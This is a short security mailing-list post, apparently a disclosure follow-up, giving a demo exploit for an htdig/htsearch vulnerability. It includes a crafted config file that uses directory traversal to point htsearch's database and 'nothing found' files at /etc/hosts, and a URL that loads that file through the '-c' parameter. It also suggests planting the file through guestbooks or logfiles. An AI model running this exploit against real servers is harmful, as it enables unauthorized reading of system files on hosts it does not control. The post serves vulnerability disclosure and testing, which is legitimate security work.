hola, just wanted to add an example to the recently posted htdig vulnerability ( credits to ghutchisat_private ) ... the problem is that there is no detailed info on how to test it .. ---cut here--- http://www.securityfocus.com/cgi-bin/vulns-item.pl?section=info&id=3410 ---cut here--- therefore ... a demo-exploit for a better understanding: create a file with the following content anywhere on the maschine htdig runs on (be creative an think of guestbooks, logfiles etc etc ..): ---cut here--- nothing_found_file: /etc/hosts database_base: ${database_dir}/../../../../etc/ word_db: ${database_base}hosts doc_index: ${database_base}hosts doc_db: ${database_base}hosts ---cut here--- .. then let htsearch use it : ---cut here-- http://server.cc/cgi-bin/htsearch?-c+[name-of-file] ---cut here--- done .. rC securityat_private http://www.freefly.com/security/ _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp ---------------------------------------------------------------------------- This list is provided by the SecurityFocus Security Intelligence Alert (SIA) Service. For more information on SecurityFocus' SIA service which automatically alerts you to the latest security vulnerabilities please see: https://alerts.securityfocus.com/
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